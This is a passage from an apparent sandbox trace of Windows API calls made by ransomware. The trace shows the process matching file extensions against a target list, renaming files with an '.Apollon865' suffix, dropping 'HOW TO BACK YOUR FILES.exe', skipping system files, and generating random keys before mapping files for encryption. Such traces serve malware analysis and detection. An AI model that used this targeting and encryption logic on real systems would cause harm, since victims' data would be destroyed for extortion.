	[0089.087] lstrcmpiW (lpString1="ini", lpString2="mrg") returned -1
	[0089.087] lstrlenW (lpString="mud") returned 3
	[0089.087] lstrcmpiW (lpString1="ini", lpString2="mud") returned -1
	[0089.087] lstrlenW (lpString="mwb") returned 3
	[0089.087] lstrcmpiW (lpString1="ini", lpString2="mwb") returned -1
	[0089.088] lstrlenW (lpString="myd") returned 3
	[0089.088] lstrcmpiW (lpString1="ini", lpString2="myd") returned -1
	[0089.088] lstrlenW (lpString="ndf") returned 3
	[0089.088] lstrcmpiW (lpString1="ini", lpString2="ndf") returned -1
	[0089.088] lstrlenW (lpString="nnt") returned 3
	[0089.088] lstrcmpiW (lpString1="ini", lpString2="nnt") returned -1
	[0089.088] lstrlenW (lpString="nrmlib") returned 6
	[0089.088] lstrcmpiW (lpString1="op.ini", lpString2="nrmlib") returned 1
	[0089.088] lstrlenW (lpString="ns2") returned 3
	[0089.088] lstrcmpiW (lpString1="ini", lpString2="ns2") returned -1
	[0089.088] lstrlenW (lpString="ns3") returned 3
	[0089.088] lstrcmpiW (lpString1="ini", lpString2="ns3") returned -1
	[0089.088] lstrlenW (lpString="ns4") returned 3
	[0089.088] lstrcmpiW (lpString1="ini", lpString2="ns4") returned -1
	[0089.088] lstrlenW (lpString="nsf") returned 3
	[0089.088] lstrcmpiW (lpString1="ini", lpString2="nsf") returned -1
	[0089.088] lstrlenW (lpString="nv") returned 2
	[0089.088] lstrcmpiW (lpString1="ni", lpString2="nv") returned -1
	[0089.088] lstrlenW (lpString="nv2") returned 3
	[0089.088] lstrcmpiW (lpString1="ini", lpString2="nv2") returned -1
	[0089.088] lstrlenW (lpString="nwdb") returned 4
	[0089.088] lstrcmpiW (lpString1=".ini", lpString2="nwdb") returned -1
	[0089.088] lstrlenW (lpString="nyf") returned 3
	[0089.088] lstrcmpiW (lpString1="ini", lpString2="nyf") returned -1
	[0089.088] lstrlenW (lpString="odb") returned 3
	[0089.088] lstrcmpiW (lpString1="ini", lpString2="odb") returned -1
	[0089.088] lstrlenW (lpString="odb") returned 3
	[0089.088] lstrcmpiW (lpString1="ini", lpString2="odb") returned -1
	[0089.088] lstrlenW (lpString="oqy") returned 3
	[0089.088] lstrcmpiW (lpString1="ini", lpString2="oqy") returned -1
	[0089.088] lstrlenW (lpString="ora") returned 3
	[0089.088] lstrcmpiW (lpString1="ini", lpString2="ora") returned -1
	[0089.088] lstrlenW (lpString="orx") returned 3
	[0089.088] lstrcmpiW (lpString1="ini", lpString2="orx") returned -1
	[0089.088] lstrlenW (lpString="owc") returned 3
	[0089.088] lstrcmpiW (lpString1="ini", lpString2="owc") returned -1
	[0089.088] lstrlenW (lpString="p96") returned 3
	[0089.088] lstrcmpiW (lpString1="ini", lpString2="p96") returned -1
	[0089.089] lstrlenW (lpString="p97") returned 3
	[0089.089] lstrcmpiW (lpString1="ini", lpString2="p97") returned -1
	[0089.089] lstrlenW (lpString="pan") returned 3
	[0089.089] lstrcmpiW (lpString1="ini", lpString2="pan") returned -1
	[0089.089] lstrlenW (lpString="pdb") returned 3
	[0089.089] lstrcmpiW (lpString1="ini", lpString2="pdb") returned -1
	[0089.089] lstrlenW (lpString="pdm") returned 3
	[0089.089] lstrcmpiW (lpString1="ini", lpString2="pdm") returned -1
	[0089.089] lstrlenW (lpString="pnz") returned 3
	[0089.089] lstrcmpiW (lpString1="ini", lpString2="pnz") returned -1
	[0089.089] lstrlenW (lpString="qry") returned 3
	[0089.089] lstrcmpiW (lpString1="ini", lpString2="qry") returned -1
	[0089.089] lstrlenW (lpString="qvd") returned 3
	[0089.089] lstrcmpiW (lpString1="ini", lpString2="qvd") returned -1
	[0089.089] lstrlenW (lpString="rbf") returned 3
	[0089.089] lstrcmpiW (lpString1="ini", lpString2="rbf") returned -1
	[0089.089] lstrlenW (lpString="rctd") returned 4
	[0089.089] lstrcmpiW (lpString1=".ini", lpString2="rctd") returned -1
	[0089.089] lstrlenW (lpString="rod") returned 3
	[0089.089] lstrcmpiW (lpString1="ini", lpString2="rod") returned -1
	[0089.089] lstrlenW (lpString="rodx") returned 4
	[0089.089] lstrcmpiW (lpString1=".ini", lpString2="rodx") returned -1
	[0089.089] lstrlenW (lpString="rpd") returned 3
	[0089.089] lstrcmpiW (lpString1="ini", lpString2="rpd") returned -1
	[0089.089] lstrlenW (lpString="rsd") returned 3
	[0089.089] lstrcmpiW (lpString1="ini", lpString2="rsd") returned -1
	[0089.089] lstrlenW (lpString="sas7bdat") returned 8
	[0089.089] lstrcmpiW (lpString1="ktop.ini", lpString2="sas7bdat") returned -1
	[0089.089] lstrlenW (lpString="sbf") returned 3
	[0089.089] lstrcmpiW (lpString1="ini", lpString2="sbf") returned -1
	[0089.089] lstrlenW (lpString="scx") returned 3
	[0089.090] lstrcmpiW (lpString1="ini", lpString2="scx") returned -1
	[0089.090] lstrlenW (lpString="sdb") returned 3
	[0089.090] lstrcmpiW (lpString1="ini", lpString2="sdb") returned -1
	[0089.090] lstrlenW (lpString="sdc") returned 3
	[0089.090] lstrcmpiW (lpString1="ini", lpString2="sdc") returned -1
	[0089.090] lstrlenW (lpString="sdf") returned 3
	[0089.090] lstrcmpiW (lpString1="ini", lpString2="sdf") returned -1
	[0089.090] lstrlenW (lpString="sis") returned 3
	[0089.090] lstrcmpiW (lpString1="ini", lpString2="sis") returned -1
	[0089.090] lstrlenW (lpString="spq") returned 3
	[0089.090] lstrcmpiW (lpString1="ini", lpString2="spq") returned -1
	[0089.090] lstrlenW (lpString="te") returned 2
	[0089.090] lstrcmpiW (lpString1="ni", lpString2="te") returned -1
	[0089.090] lstrlenW (lpString="teacher") returned 7
	[0089.090] lstrcmpiW (lpString1="top.ini", lpString2="teacher") returned 1
	[0089.090] lstrlenW (lpString="tmd") returned 3
	[0089.090] lstrcmpiW (lpString1="ini", lpString2="tmd") returned -1
	[0089.090] lstrlenW (lpString="tps") returned 3
	[0089.090] lstrcmpiW (lpString1="ini", lpString2="tps") returned -1
	[0089.090] lstrlenW (lpString="trc") returned 3
	[0089.090] lstrcmpiW (lpString1="ini", lpString2="trc") returned -1
	[0089.090] lstrlenW (lpString="trc") returned 3
	[0089.090] lstrcmpiW (lpString1="ini", lpString2="trc") returned -1
	[0089.090] lstrlenW (lpString="trm") returned 3
	[0089.090] lstrcmpiW (lpString1="ini", lpString2="trm") returned -1
	[0089.090] lstrlenW (lpString="udb") returned 3
	[0089.090] lstrcmpiW (lpString1="ini", lpString2="udb") returned -1
	[0089.090] lstrlenW (lpString="udl") returned 3
	[0089.090] lstrcmpiW (lpString1="ini", lpString2="udl") returned -1
	[0089.090] lstrlenW (lpString="usr") returned 3
	[0089.090] lstrcmpiW (lpString1="ini", lpString2="usr") returned -1
	[0089.090] lstrlenW (lpString="v12") returned 3
	[0089.090] lstrcmpiW (lpString1="ini", lpString2="v12") returned -1
	[0089.091] lstrlenW (lpString="vis") returned 3
	[0089.091] lstrcmpiW (lpString1="ini", lpString2="vis") returned -1
	[0089.091] lstrlenW (lpString="vpd") returned 3
	[0089.091] lstrcmpiW (lpString1="ini", lpString2="vpd") returned -1
	[0089.091] lstrlenW (lpString="vvv") returned 3
	[0089.091] lstrcmpiW (lpString1="ini", lpString2="vvv") returned -1
	[0089.091] lstrlenW (lpString="wdb") returned 3
	[0089.091] lstrcmpiW (lpString1="ini", lpString2="wdb") returned -1
	[0089.091] lstrlenW (lpString="wmdb") returned 4
	[0089.091] lstrcmpiW (lpString1=".ini", lpString2="wmdb") returned -1
	[0089.091] lstrlenW (lpString="wrk") returned 3
	[0089.091] lstrcmpiW (lpString1="ini", lpString2="wrk") returned -1
	[0089.091] lstrlenW (lpString="xdb") returned 3
	[0089.091] lstrcmpiW (lpString1="ini", lpString2="xdb") returned -1
	[0089.091] lstrlenW (lpString="xld") returned 3
	[0089.091] lstrcmpiW (lpString1="ini", lpString2="xld") returned -1
	[0089.091] lstrlenW (lpString="xmlff") returned 5
	[0089.091] lstrcmpiW (lpString1="p.ini", lpString2="xmlff") returned -1
	[0089.091] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\desktop.ini.Apollon865") returned 62
	[0089.091] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\desktop.ini" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\desktop.ini"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\desktop.ini.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\desktop.ini.apollon865"), dwFlags=0x1) 

Thread:
	id = 6
	os_tid = 0xadc

	[0035.549] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6458
	[0035.549] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x4) returned 0x5bd8c8
	[0035.549] lstrcatW (in: lpString1="", lpString2="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" | out: lpString1="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe") returned="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe"
	[0035.549] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b76d0
	[0035.549] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:", iMaxLength=260 | out: lpString1="C:") returned="C:"
	[0035.549] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bd8b8 | out: hHeap=0x580000) returned 1
	[0035.549] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b76c8 | out: hHeap=0x580000) returned 1
	[0035.549] lstrlenW (lpString="C:") returned 2
	[0035.549] lstrcatW (in: lpString1="", lpString2="C:" | out: lpString1="C:") returned="C:"
	[0035.549] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0035.549] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0035.550] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xa8
	[0035.550] GetLastError () returned 0x0
	[0035.550] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5cafb8
	[0035.550] ReadFile (in: hFile=0xa8, lpBuffer=0x5cafb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x2d3e22c, lpOverlapped=0x0 | out: lpBuffer=0x5cafb8*, lpNumberOfBytesRead=0x2d3e22c*=0x1dc00, lpOverlapped=0x0) returned 1
	[0035.550] CloseHandle (hObject=0xa8) returned 1
	[0035.550] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5cafb8 | out: hHeap=0x580000) returned 1
	[0035.550] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0035.550] FindFirstFileW (in: lpFileName="C:\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="$Recycle.Bin", cAlternateFileName="")) returned 0x5ca050
	[0035.550] lstrcmpiW (lpString1="$Recycle.Bin", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0035.554] lstrcmpiW (lpString1="$Recycle.Bin", lpString2="Apollon865.txt.exe") returned -1
	[0035.554] lstrcmpiW (lpString1="$Recycle.Bin", lpString2=".") returned -1
	[0035.554] lstrcmpiW (lpString1="$Recycle.Bin", lpString2="..") returned -1
	[0035.554] lstrcmpiW (lpString1="$Recycle.Bin", lpString2="windows") returned -1
	[0035.554] lstrcmpiW (lpString1="$Recycle.Bin", lpString2="bootmgr") returned -1
	[0035.554] lstrcmpiW (lpString1="$Recycle.Bin", lpString2="temp") returned -1
	[0035.554] lstrcmpiW (lpString1="$Recycle.Bin", lpString2="pagefile.sys") returned -1
	[0035.554] lstrcmpiW (lpString1="$Recycle.Bin", lpString2="boot") returned -1
	[0035.554] lstrcmpiW (lpString1="$Recycle.Bin", lpString2="ids.txt") returned -1
	[0035.554] lstrcmpiW (lpString1="$Recycle.Bin", lpString2="ntuser.dat") returned -1
	[0035.554] lstrcmpiW (lpString1="$Recycle.Bin", lpString2="perflogs") returned -1
	[0035.554] lstrcmpiW (lpString1="$Recycle.Bin", lpString2="MSBuild") returned -1
	[0035.554] lstrlenW (lpString="$Recycle.Bin") returned 12
	[0035.554] lstrlenW (lpString="C:\\*") returned 4
	[0035.554] lstrcpyW (in: lpString1=0x2d3e556, lpString2="$Recycle.Bin" | out: lpString1="$Recycle.Bin") returned="$Recycle.Bin"
	[0035.554] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7668
	[0035.554] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x20) returned 0x597858
	[0035.554] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7670 | out: ListHead=0x5b76b0, ListEntry=0x5b7670) returned 0x0
	[0035.554] FindNextFileW (in: hFindFile=0x5ca050, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Boot", cAlternateFileName="")) returned 1
	[0035.554] lstrcmpiW (lpString1="Boot", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0035.554] lstrcmpiW (lpString1="Boot", lpString2="Apollon865.txt.exe") returned 1
	[0035.554] lstrcmpiW (lpString1="Boot", lpString2=".") returned 1
	[0035.554] lstrcmpiW (lpString1="Boot", lpString2="..") returned 1
	[0035.554] lstrcmpiW (lpString1="Boot", lpString2="windows") returned -1
	[0035.554] lstrcmpiW (lpString1="Boot", lpString2="bootmgr") returned -1
	[0035.554] lstrcmpiW (lpString1="Boot", lpString2="temp") returned -1
	[0035.554] lstrcmpiW (lpString1="Boot", lpString2="pagefile.sys") returned -1
	[0035.554] lstrcmpiW (lpString1="Boot", lpString2="boot") returned 0
	[0035.554] FindNextFileW (in: hFindFile=0x5ca050, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x84a3bb2c, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x5db2a, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr", cAlternateFileName="")) returned 1
	[0035.554] lstrcmpiW (lpString1="bootmgr", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0035.555] lstrcmpiW (lpString1="bootmgr", lpString2="Apollon865.txt.exe") returned 1
	[0035.555] lstrcmpiW (lpString1="bootmgr", lpString2=".") returned 1
	[0035.555] lstrcmpiW (lpString1="bootmgr", lpString2="..") returned 1
	[0035.555] lstrcmpiW (lpString1="bootmgr", lpString2="windows") returned -1
	[0035.555] lstrcmpiW (lpString1="bootmgr", lpString2="bootmgr") returned 0
	[0035.555] FindNextFileW (in: hFindFile=0x5ca050, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xac54a060, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac54a060, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac54a060, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="BOOTSECT.BAK", cAlternateFileName="")) returned 1
	[0035.555] lstrcmpiW (lpString1="BOOTSECT.BAK", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0035.555] lstrcmpiW (lpString1="BOOTSECT.BAK", lpString2="Apollon865.txt.exe") returned 1
	[0035.555] lstrcmpiW (lpString1="BOOTSECT.BAK", lpString2=".") returned 1
	[0035.555] lstrcmpiW (lpString1="BOOTSECT.BAK", lpString2="..") returned 1
	[0035.555] lstrcmpiW (lpString1="BOOTSECT.BAK", lpString2="windows") returned -1
	[0035.555] lstrcmpiW (lpString1="BOOTSECT.BAK", lpString2="bootmgr") returned 1
	[0035.555] lstrcmpiW (lpString1="BOOTSECT.BAK", lpString2="temp") returned -1
	[0035.555] lstrcmpiW (lpString1="BOOTSECT.BAK", lpString2="pagefile.sys") returned -1
	[0035.555] lstrcmpiW (lpString1="BOOTSECT.BAK", lpString2="boot") returned 1
	[0035.555] lstrcmpiW (lpString1="BOOTSECT.BAK", lpString2="ids.txt") returned -1
	[0035.555] lstrcmpiW (lpString1="BOOTSECT.BAK", lpString2="ntuser.dat") returned -1
	[0035.555] lstrcmpiW (lpString1="BOOTSECT.BAK", lpString2="perflogs") returned -1
	[0035.555] lstrcmpiW (lpString1="BOOTSECT.BAK", lpString2="MSBuild") returned -1
	[0035.555] lstrlenW (lpString="BOOTSECT.BAK") returned 12
	[0035.555] lstrlenW (lpString="C:\\$Recycle.Bin") returned 15
	[0035.555] lstrcpyW (in: lpString1=0x2d3e556, lpString2="BOOTSECT.BAK" | out: lpString1="BOOTSECT.BAK") returned="BOOTSECT.BAK"
	[0035.555] lstrlenW (lpString="BOOTSECT.BAK") returned 12
	[0035.555] lstrlenW (lpString="Apollon865") returned 10
	[0035.555] lstrcmpiW (lpString1="OTSECT.BAK", lpString2="Apollon865") returned 1
	[0035.555] lstrlenW (lpString=".dll") returned 4
	[0035.555] lstrcmpiW (lpString1="BOOTSECT.BAK", lpString2=".dll") returned 1
	[0035.555] lstrlenW (lpString=".lnk") returned 4
	[0035.555] lstrcmpiW (lpString1="BOOTSECT.BAK", lpString2=".lnk") returned 1
	[0035.555] lstrlenW (lpString=".ini") returned 4
	[0035.555] lstrcmpiW (lpString1="BOOTSECT.BAK", lpString2=".ini") returned 1
	[0035.555] lstrlenW (lpString=".sys") returned 4
	[0035.555] lstrcmpiW (lpString1="BOOTSECT.BAK", lpString2=".sys") returned 1
	[0035.555] lstrlenW (lpString="BOOTSECT.BAK") returned 12
	[0035.555] lstrlenW (lpString="bak") returned 3
	[0035.555] lstrcmpiW (lpString1="BAK", lpString2="bak") returned 0
	[0035.556] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\BOOTSECT.BAK.Apollon865") returned 26
	[0035.556] MoveFileExW (lpExistingFileName="C:\\BOOTSECT.BAK" (normalized: "c:\\bootsect.bak"), lpNewFileName="C:\\BOOTSECT.BAK.Apollon865" (normalized: "c:\\bootsect.bak.apollon865"), dwFlags=0x1) returned 1
	[0035.556] CreateFileW (lpFileName="C:\\BOOTSECT.BAK.Apollon865" (normalized: "c:\\bootsect.bak.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0xb4
	[0035.556] GetFileSizeEx (in: hFile=0xb4, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=8192) returned 1
	[0035.556] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x2d40020
	[0035.557] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x5c9418
	[0035.557] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf568
	[0035.557] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf898) returned 1
	[0035.558] CryptGenRandom (in: hProv=0x5bf898, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0035.558] CryptReleaseContext (hProv=0x5bf898, dwFlags=0x0) returned 1
	[0035.558] CreateFileMappingW (hFile=0xb4, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2300, lpName=0x0) returned 0xb8
	[0035.560] MapViewOfFile (hFileMappingObject=0xb8, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2300) returned 0x100000
	[0035.585] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf898) returned 1
	[0035.586] CryptGenRandom (in: hProv=0x5bf898, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0035.586] CryptReleaseContext (hProv=0x5bf898, dwFlags=0x0) returned 1
	[0035.586] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x596f88
	[0035.586] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596f88 | out: hHeap=0x580000) returned 1
	[0035.586] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0035.586] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5bacb8
	[0035.586] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0035.586] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5baba0
	[0035.586] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x599030
	[0035.586] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x4) returned 0x5bd8b8
	[0035.586] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x204) returned 0x599240
	[0035.586] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bd8b8 | out: hHeap=0x580000) returned 1
	[0035.586] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x204) returned 0x599450
	[0035.586] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0035.586] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x20c) returned 0x599660
	[0035.586] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x5bd8b8
	[0035.586] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0xc) returned 0x5c8b78
	[0035.586] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5ba970
	[0035.586] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0035.586] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x204) returned 0x599878
	[0035.586] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ba970 | out: hHeap=0x580000) returned 1
	[0035.586] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x5bd858
	[0035.586] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0xc) returned 0x5c8b90
	[0035.586] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bd8b8 | out: hHeap=0x580000) returned 1
	[0035.587] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bd858 | out: hHeap=0x580000) returned 1
	[0035.587] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x5bd858
	[0035.587] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bd858 | out: hHeap=0x580000) returned 1
	[0035.587] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x108) returned 0x5ba970
	[0035.587] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c8b90 | out: hHeap=0x580000) returned 1
	[0035.587] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x204) returned 0x599a88
	[0035.587] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ba970 | out: hHeap=0x580000) returned 1
	[0035.587] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x5bd858
	[0035.587] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bd858 | out: hHeap=0x580000) returned 1
	[0035.587] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x5bd858
	[0035.587] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bd858 | out: hHeap=0x580000) returned 1
	[0035.587] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x5bd858
	[0035.587] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bd858 | out: hHeap=0x580000) returned 1
	[0035.587] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x5bd858
	[0035.587] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bd858 | out: hHeap=0x580000) returned 1
	[0035.587] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x5bd858
	[0035.587] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bd858 | out: hHeap=0x580000) returned 1
	[0035.587] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x5bd858
	[0035.587] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bd858 | out: hHeap=0x580000) returned 1
	[0035.587] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x5bd858
	[0035.587] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bd858 | out: hHeap=0x580000) returned 1
	[0035.587] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x5bd858
	[0035.587] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bd858 | out: hHeap=0x580000) returned 1
	[0035.587] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x5bd858
	[0035.587] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bd858 | out: hHeap=0x580000) returned 1
	[0035.587] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x5bd858
	[0035.587] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bd858 | out: hHeap=0x580000) returned 1
	[0035.587] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x5bd858
	[0035.587] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bd858 | out: hHeap=0x580000) returned 1
	[0035.587] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x5bd858
	[0035.587] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bd858 | out: hHeap=0x580000) returned 1
	[0035.587] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x5bd858
	[0035.587] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bd858 | out: hHeap=0x580000) returned 1
	[0035.587] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x5bd858
	[0035.587] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bd858 | out: hHeap=0x580000) returned 1
	[0035.587] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x5bd858
	[0035.587] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bd858 | out: hHeap=0x580000) returned 1
	[0035.587] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x5bd858
	[0035.587] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bd858 | out: hHeap=0x580000) returned 1
	[0035.587] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x5bd858
	[0035.588] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bd858 | out: hHeap=0x580000) returned 1
	[0035.588] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x5bd858
